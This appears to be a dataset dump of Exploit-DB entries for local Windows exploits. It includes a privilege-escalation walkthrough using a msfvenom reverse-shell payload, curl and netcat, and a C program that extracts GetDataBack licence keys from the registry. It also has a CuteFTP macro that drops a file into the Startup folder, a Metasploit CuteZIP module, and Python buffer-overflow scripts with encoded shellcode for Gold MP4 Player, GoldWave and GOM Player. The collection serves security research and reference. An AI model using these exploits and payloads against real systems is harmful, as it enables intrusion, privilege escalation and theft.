deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50449
Description: Gestionale Open 11.00.00 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-10-25
Author: Alessandro Salzano

Exploit:
# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://www.gestionaleopen.org/
# Software Homepage: https://www.gestionaleopen.org/
# Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
# Version: 11.00.00
# Tested on: Microsoft Windows 10 Enterprise x64

With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.

Vendor: Gestionale Open srl.

Affected version: > 11.00.00


# Details
# By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\Gestionale_Open\MySQL57\bin\mysqld.exe


	Details:



SERVICE_NAME: DB_GO
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DB_GO
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



(2) Folder permissions.
Insecure folders permissions issue:


C:\Gestionale_Open Everyone:(I)(OI)(CI)(F)
                   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)



                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system
Exploit-DB #51065
Description: Gestionale Open 12.00.00 - 'DB_GO_80' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-27
Author: Luis Martínez

Exploit:
# Exploit Title: Gestionale Open 12.00.00 - 'DB_GO_80' Unquoted Service Path
# Exploit by: Luis Martinez
# Discovery Date: 2022-10-05
# Vendor Homepage: https://www.gestionaleopen.org/
# Software Link : https://www.gestionaleopen.org/download/
# Tested Version: 12.00.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DB_GO_80" | findstr /i /v """

DB_GO_80	DB_GO_80	C:\Gestionale_Open\MySQL80\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL80\my.ini DB_GO_80	Auto


# Service info:

C:\>sc qc "DB_GO_80"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DB_GO_80
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Gestionale_Open\MySQL80\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL80\my.ini DB_GO_80
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DB_GO_80
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #912
Description: GetDataBack Data Recovery 2.31 - Licence Recover
Type: local
Platform: windows
Date: 2005-04-04
Author: Kozan

Exploit:
/*****************************************************************

GetDataBack for NTFS v2.31 Local Exploit by Kozan

Application: GetDataBack for NTFS v2.31
Vendor: www.runtime.org - Runtime Software
Vulnerable Description: GetDataBack for NTFS v2.31 discloses licence
informaations ( username and key ) to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char username[BUFSIZE], key[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Runtime
Software\\GetDataBackNT\\License",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "Name", NULL, NULL,(LPBYTE) username,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

lRet = RegQueryValueEx( hKey, "Key", NULL, NULL,(LPBYTE) key, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}
RegCloseKey( hKey );

printf("GetDataBack for NTFS v2.31 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Username: %s\n",username);
printf("Key : %s\n",key);

}
else{
printf("GetDataBack for NTFS v2.31 is not installed on your system!\n");
}

return 0;
}

// milw0rm.com [2005-04-04]
Exploit-DB #40438
Description: Glassfish Server - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-28
Author: s0nk3y

Exploit:
# Title: Glassfish Server - Unquoted Service Path Privilege Escalation
# Date: 28/09/2016
# Author: s0nk3y
# Software link: https://glassfish.java.net/download.html
# Tested: Windows Server 2008 r2 (Metasploitable3)

1. Description

Glassfish Server a service with an unquoted service path running with
SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\vagrant>sc qc domain1
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: domain1
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\glassfish\glassfish4\glassfish\domains\domain1\bin\domain1Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : domain1 GlassFish Server
        DEPENDENCIES       : tcpip
        SERVICE_START_NAME : LocalSystem

3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #49142
Description: Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-01
Author: Emmanuel Lujan

Exploit:
# Exploit Title: Global Registration Service 1.0.0.3 - 'GREGsvc.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2020-11-26
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home
# Tested Version: 1.0.0.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

GREGService                                                             GREGServ
ice                                   C:\Program Files (x86)\Acer\Registration\G
REGsvc.exe                                                Auto

# Service info:

C:\>sc qc GregService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GREGService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Acer\Registration\GREGsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : GREGService
        DEPENDENCIES       :                            
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #560
Description: GlobalScape - CuteFTP macros '.mcr' Local File Write
Type: local
Platform: windows
Date: 2004-09-28
Author: ATmaCA

Exploit:
Application:  GlobalSCAPE CuteFTP V6.0
             http://www.globalscape.com/

Risk:         Medium

/*
e-mail: atmaca@prohack.net
web: http://www.prohack.net
*/

--The bug:

Atacker can create a crafted CuteFTP macro (*.mcr),
and when its loaded in the target computer, it can download the Arbitrary file
into the target users startup folder.

----example *.mcr macro----

Host FTP_HOST_HERE
Login Normal
User FTP_USER_HERE
Pass FTP_PASS_HERE
Connect
RemoteSelect server.exe
Download
LocalCwd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\


# milw0rm.com [2004-09-28]
Exploit-DB #20542
Description: GlobalScape CuteZIP - Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-08-15
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'globalSCAPE CuteZIP Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow vulnerability in version 2.1
				of CuteZIP.

				In order for the command to be executed, an attacker must convince the target user
				to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
				execute arbitrary code as the target user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'BID', '46375' ],
					[ 'EDB', '16162' ],
				],
			'Platform'          => [ 'win' ],
			'Payload'           =>
				{
					'BadChars'    => "",
					'DisableNops' => true,
					'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
				},
			'Targets'        =>
				[
					[
						# Tested successfully on:
						# * Windows XP SP3
						# * Windows Vista SP2
						# * Windows 7 SP1
						# (NO DEP)
						'CuteZIP 2.1 / Windows Universal',
						{
							'Ret'         => 0x0040112F, # pop, pop, ret from CuteZIP.exe
							'Offset'      => 1148,
							'Nops'        => 398
						}
					],
				],
			'DisclosureDate' => 'Feb 12 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
			], self.class)

	end

	def exploit

		redirect_heap = <<-ASM
			popad
			popad
			popad
			push ecx
			pop eax
			call eax
		ASM

		crafted_file = rand_text(target['Offset'])
		crafted_file << generate_seh_record(target.ret)
		crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
		crafted_file << make_nops(1) * target['Nops']
		crafted_file << payload.encoded

		# Create the file
		zip = Rex::Zip::Archive.new
		xtra = rand_text(4)
		zip.add_file(crafted_file, xtra)

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(zip.pack)
	end

end
Exploit-DB #38609
Description: Gold MP4 Player - '.swf' Local Overflow
Type: local
Platform: windows
Date: 2015-11-03
Author: Vivek Mahajan

Exploit:
#!/usr/bin/python
# EXPLOIT TITLE: GOLD PLAYER Local Exploit
# AUTHOR: Vivek Mahajan - C3p70r
# Credits: Gabor Seljan  
# Date of Testing: 30 October 2015
# Download Link : http://download.cnet.com/GoldMP4Player/3000-2139_4-10967424.html
# Tested On : Windows 8.1 Pro and Windows 7 Ultimate
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called buffer.txt
# Step 3: Open the file buffer.txt and copy the contents.
# Step 4: Open the Gold Player application -> file -> open flash url and paste the contents
# Step 5: Click on Open
# That should open a bind tcp port at 4444
# Step 4: Connect with netcat at port 4444


buffer = "A"*280

buffer += "\x83\x34\x04\x10"

buffer += "\x90"*100

buffer += ("\xba\x01\x75\x34\x3a\xdb\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x53\x31\x57\x12\x03\x57\x12\x83\xc6\x71\xd6\xcf\x34\x91\x94"
"\x30\xc4\x62\xf9\xb9\x21\x53\x39\xdd\x22\xc4\x89\x95\x66\xe9"
"\x62\xfb\x92\x7a\x06\xd4\x95\xcb\xad\x02\x98\xcc\x9e\x77\xbb"
"\x4e\xdd\xab\x1b\x6e\x2e\xbe\x5a\xb7\x53\x33\x0e\x60\x1f\xe6"
"\xbe\x05\x55\x3b\x35\x55\x7b\x3b\xaa\x2e\x7a\x6a\x7d\x24\x25"
"\xac\x7c\xe9\x5d\xe5\x66\xee\x58\xbf\x1d\xc4\x17\x3e\xf7\x14"
"\xd7\xed\x36\x99\x2a\xef\x7f\x1e\xd5\x9a\x89\x5c\x68\x9d\x4e"
"\x1e\xb6\x28\x54\xb8\x3d\x8a\xb0\x38\x91\x4d\x33\x36\x5e\x19"
"\x1b\x5b\x61\xce\x10\x67\xea\xf1\xf6\xe1\xa8\xd5\xd2\xaa\x6b"
"\x77\x43\x17\xdd\x88\x93\xf8\x82\x2c\xd8\x15\xd6\x5c\x83\x71"
"\x1b\x6d\x3b\x82\x33\xe6\x48\xb0\x9c\x5c\xc6\xf8\x55\x7b\x11"
"\xfe\x4f\x3b\x8d\x01\x70\x3c\x84\xc5\x24\x6c\xbe\xec\x44\xe7"
"\x3e\x10\x91\x92\x36\xb7\x4a\x81\xbb\x07\x3b\x05\x13\xe0\x51"
"\x8a\x4c\x10\x5a\x40\xe5\xb9\xa7\x6b\x18\x66\x21\x8d\x70\x86"
"\x67\x05\xec\x64\x5c\x9e\x8b\x97\xb6\xb6\x3b\xdf\xd0\x01\x44"
"\xe0\xf6\x25\xd2\x6b\x15\xf2\xc3\x6b\x30\x52\x94\xfc\xce\x33"
"\xd7\x9d\xcf\x19\x8f\x3e\x5d\xc6\x4f\x48\x7e\x51\x18\x1d\xb0"
"\xa8\xcc\xb3\xeb\x02\xf2\x49\x6d\x6c\xb6\x95\x4e\x73\x37\x5b"
"\xea\x57\x27\xa5\xf3\xd3\x13\x79\xa2\x8d\xcd\x3f\x1c\x7c\xa7"
"\xe9\xf3\xd6\x2f\x6f\x38\xe9\x29\x70\x15\x9f\xd5\xc1\xc0\xe6"
"\xea\xee\x84\xee\x93\x12\x35\x10\x4e\x97\x45\x5b\xd2\xbe\xcd"
"\x02\x87\x82\x93\xb4\x72\xc0\xad\x36\x76\xb9\x49\x26\xf3\xbc"
"\x16\xe0\xe8\xcc\x07\x85\x0e\x62\x27\x8c")

buffer += ".swf"

file = open('buffer.txt', 'w')
file.write(buffer)
file.close()


# Follow on Twitter @vik_create
Exploit-DB #31972
Description: Gold MP4 Player 3.3 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-02-28
Author: metacom

Exploit:
#!/usr/bin/python
# coding: utf-8
#Exploit Title: GoldMP4Player Buffer Overflow (SEH)  
#Software Link: http://download.cnet.com/GoldMP4Player/3000-2139_4-10967424.html 
#Version: 3.3 
#Date: 27.02.2014                                                                 
#Tested on: Windows Win 7 En
# Howto / Notes:
#open the URL in filename via File -> Open Flash URL\n";
#-------------------------------------------------------
'''Credits:
Vulnerability POC identified in v3.3 by Gabor Seljan
http://www.exploit-db.com/exploits/31914/'''
#------------------------------------------------------
head="http://"
buff="\x41" * 253
#shell calc.exe
buff+=("ëÿÿœ¼‰áÛÖÙqôZJJJJJJJJJJJCCCCCC7RYjAXP0A0AkAAQ2AB2BB0BBABXP8"
"ABuJIylHhlIePePGpapMYJEFQiBBDlKpRVPnk3btLNkv24TlKrRDhdOMgBj7Vtq9oTq9PllUlpac"
"LdBFLa09QHO4M31kwjBL01BpWLKpRvpNk3rElFaZpnk1PBXou9PQdPJvajpbplKrhR8NkpXa0wqI"
"CIsgLqYlKp4nkgqKfEakOVQIPllzaHOtMuQxGGHYpsEJTVcSMYh5kqm141ehbchNkshtdWqYC0fLK"
"fl2klKrx5LWqxSlKgtlKuQxPmYstEtEtsksku10YcjpQkOypf8QOpZLKeBhkk6QMSZ31nmouMiGpEP"
"s0f02HdqlKpoLGkOjuOKjPOEI2QFCXi6NuoMomkOju5ls6SL6jOpkKYpsE4EOKBgdSd20orJWppSio"
"IERCParLbCDnbEsH0e30AA")
head2=".swf"

exploit=head + buff + head2
try:
    out_file = open("exploit.txt",'w')
    out_file.write(exploit)
    out_file.close()
except:
    print "Error"
Exploit-DB #44423
Description: GoldWave 5.70 - Local Buffer Overflow (SEH Unicode)
Type: local
Platform: windows
Date: 2018-04-09
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title:  GoldWave 5.70 - Local Buffer Overflow (SEH Unicode)
# Date: 04-05-2018
# Vulnerable Software: GoldWave 5.70
# Vendor Homepage: https://www.goldwave.com/
# Version: 5.70
# Software Link: http://goldwave.com//downloads/gwave570.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
#

filename="goldwave570.txt"

junk = "\x71"*1019

#popad
nseh = "\x61\x62"

#0x006d000f : pop ecx # pop ebp # ret  | startnull,unicode,ascii {PAGE_EXECUTE_READ} [GoldWave.exe]
seh = "\x0f\x6d"

valign = (
"\x53" 					#push ebx
"\x47" 					#align
"\x58" 					#pop eax
"\x47" 					#align
"\x05\x16\x11" 	        #add eax,600  
"\x47"					#align
"\x2d\x13\x11"	        #sub eax,300
"\x47"					#align
"\x50"					#push eax
"\x47"					#align
"\xc3"					#retn
)

#nops to shellcode
nops = "\x71" * 365

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AA"
"PAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPM0M0S0DIK501I0C44"
"K0PP0DKPRLLTKQBMDTKBRO8LOFWOZMV01KOFLOLS13LLBNLO0WQXOLMKQI7K2KB0RQGTKPRN0DK0J"
"OL4K0LN1CHISOXKQXQ214K0YMPKQJ3DK0IN8K3NZOYTKNT4KM1YFNQKO6L91XOLMM1WW08IP45ZVK"
"S3MZXOKSMMTRUK4B8TKPXO4M1YCBFDKLLPKDKR8MLM1YC4KKTTKM18PU9PDO4MT1K1KQQR91J0QKO"
"IP1O1O1J4KN2ZK4MQMRJM14MSUVRM0M0M0PP2HNQTKROSWKO8UWKZPH55R1FQX6FF5WMEMKOXUOLL"
"F3LKZE0KKYPRUM5GKOWMCCBRO2JM023KOYE1S1QRLBCNNRERX1UM0AA")

fill = "\x71"* 5000

buffer = junk + nseh + seh + valign + nops + calc + fill
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #18174
Description: GOM Player 2.1.33.5071 - '.asx' File Unicode Stack Buffer Overflow
Type: local
Platform: windows
Date: 2011-11-30
Author: Debasish Mandal

Exploit:
# Exploit Title: GOM Player Crafted ASX File Unicode Stack Buffer Overflow and Arbitrary Code Execution.
# Version: 2.1.33.5071
# Date: 30-11-2011
# Author: Debasish Mandal & Peter Van Eeckhoutte (corelanc0d3r)
# Email : debasishm89@gmail.com
# Software Link: http://www.gomlab.com/eng/GMP_download.html
# Category:: Local
# Tested on: Windows XP SP2.
# Many Many Thanks to P.V.Eeckhoutte & Nilanjan De


#!/usr/bin/python
print "#############################################################################################"
print "##   GOM Player Crafted ASX File Unicode Stack Buffer Overflow and Arbitrary Code Execution.#"
print "##                                   Version: 2.1.33.5071                                   #"
print "##                                Author :: Debasish Mandal                                 #"
print "##                             Email : debasishm89@gmail.com                                #"
print "##                             Blog: http://www.debasish.in/                                #"
print "#############################################################################################"
raw_input("[*] Press Enter to generate the crafted ASX...")
size = 2046
#Shellcode WinExec "Calc.exe" Unicode
shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AI"
shellcode += "AIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBvz5tz9ptkthtPZOCI95hVsXKl"
shellcode += "iqqVQNR4CUrm4p1pBlSm32qFxhK1dGymgtBT7KaWXZUKNKDhyKwRD3M4kIgjNWcoPbSw2Vg9C8"
shellcode += "qpkJHPTWONmGWC5QaNrRktfZsLnvqZZxsLOmJlOl5oXmvWpdgKQzmR3pXKuPSPhNy9YXXVpMQ4"
shellcode += "LknUTeKronnLU5GYH3FKm9oL8bgzRHcEuHN1o6wUn6quYo9Mn7pUEZFjaxMkkkFMvHii3tM7Li"
shellcode += "z0yTVM6RQeUKceKvqNNsS3OK0Wsr2LKHnMxzpNsL2noxujOJn7khxOO1wuOWnSkXLQ4sNEm3xN"
shellcode += "K3OwmMDBsKuf5DvgPOlXtwljwJLqruILX8ntLu940wojgQ6kVIPXMNCL8vJnlJeRqcBLELTKLu"
shellcode += "48sNz8yLFZVo2KNLWPsKw6ZeOBOnuyC1ef0uz7dQOzSrmPFKSZTA"
buff = ''
buff += '<asx version = "3.0" ><entry><title>ArirangTV</title><ref href = "WWW.'
align = "A"                 # align to first instruction
align += "\x55\x41\x58\x41" # push ebp, pop eax
align += "\x05\x11\x11"     # add eax,11001100
align += "\x41"             # align
align += "\x2d\x10\x11"     # sub eax,11001000
align += "\x41" * 109       # padding
align += "\x40\x41\x40"     # 2x inc eax
align += "\x41"             # align
buff += align
buff += shellcode
buff += "\x41"*(size - len(align) - len(shellcode))
#eip
buff += "\xd9\x57"          # CALL EBP - 0x005700d9
                            # top of the stack
buff += "\x46"*2
buff += "\x47"*100
buff +='"/></entry></asx>'
f = open('LIST.asx','w')
f.write(buff)
f.close()
print "[*] Crafted .m3u File generated"
print "[*] Exit"
Exploit-DB #51724
Description: GOM Player 2.3.90.5360 - Buffer Overflow (PoC)
Type: local
Platform: windows
Date: 2023-09-08
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: GOM Player 2.3.90.5360 - Buffer Overflow (PoC)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 30.08.2023
# Vendor Homepage: https://www.gomlab.com
# Software Link: https://cdn.gomlab.com/gretech/player/GOMPLAYERGLOBALSETUP_NEW.EXE
# Tested Version: 2.3.90.5360 (latest)
# Tested on: Windows 11 64bit
# Thanks to: M. Akil GÜNDOĞAN

#  - Open GOM Player
#  - Click on the gear icon above to open settings
#  - From the menu that appears, select Audio
#  - Click on Equalizer
#  - Click on the plus sign to go to the "Add EQ preset" screen
#  - Copy the contents of exploit.txt and paste it into the preset name box, then click OK
#  - Crashed!

#!/usr/bin/python

exploit = 'A' * 260

try:
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC is not created")